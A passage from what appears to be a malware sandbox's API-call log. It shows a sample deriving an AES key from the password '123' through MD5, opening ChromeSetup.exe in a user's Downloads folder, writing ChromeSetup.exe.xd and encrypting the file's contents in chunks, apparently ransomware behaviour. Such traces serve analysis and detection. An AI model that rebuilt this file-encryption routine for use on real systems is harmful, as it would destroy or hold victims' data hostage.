lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0057.578] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0057.578] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0057.578] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0057.579] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0057.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0057.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0057.579] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0057.579] CryptCreateHash (in: hProv=0x1631aa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0057.645] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.645] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.645] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.645] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0057.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0057.645] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0057.645] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0057.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629330, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0057.650] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.650] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0057.650] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0057.650] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0057.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0057.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0057.650] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0057.650] CryptHashData (hHash=0x164c2b0, pbData=0x16293e0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0057.650] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.650] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.650] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0057.650] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0057.650] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0057.650] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0057.650] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0057.651] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0057.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0057.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621900, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0057.651] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0057.651] CryptDeriveKey (in: hProv=0x1631aa0, Algid=0x6610, hBaseData=0x164c2b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c530) returned 1 [0058.114] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.114] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.114] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.114] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.114] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.114] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0058.114] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0058.114] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0058.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0058.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0058.114] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0058.114] CryptDestroyHash (hHash=0x164c2b0) returned 1 [0058.114] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.115] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.115] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.115] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.115] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.115] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\downloads\\chromesetup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0058.116] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.116] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0058.116] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.116] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.116] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.116] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\" (normalized: "c:\\users\\ciihmnxmn6ps\\downloads")) returned 0x11 [0058.117] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\ChromeSetup.exe.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\downloads\\chromesetup.exe.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0058.117] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.117] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.117] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.117] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.119] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0058.119] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.440] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.456] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.458] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.459] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.460] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.490] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.491] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.494] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.510] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.516] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.517] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.519] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.520] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.522] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.523] ReadFile (in: hFile=0x2ac, lpBuffer=0x17a9dc0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17a9dc0*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0058.594] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0058.595] TranslateMessage (lpMsg=0x130f164) returned 0 [0058.595] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0058.595] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0058.598] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0058.599] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0058.599] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.700] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.700] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0058.700] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0058.733] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.733] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.733] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0058.733] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0058.733] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0058.733] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0058.733] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0058.733] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0058.733] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0058.733] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0058.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0058.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0058.734] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0058.734] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x16293c0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16293c0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0058.734] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0058.734] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0058.734] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.734] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.734] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.734] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.760] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0058.760] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0058.760] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0058.760] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0058.760] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0058.760] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0058.760] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0058.760] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0058.760] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0058.760] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0058.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.761] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.761] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.761] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0058.761] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0058.772] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0058.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0058.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621870, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0058.773] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0058.773] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x100000, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x100000) returned 1 [0058.774] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.774] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.774] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.774] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.774] CharLowerBuffW (in: lpsz="byte[1048577]", cchLength=0xd | out: lpsz="byte[1048577]") returned 0xd [0058.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0058.856] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, 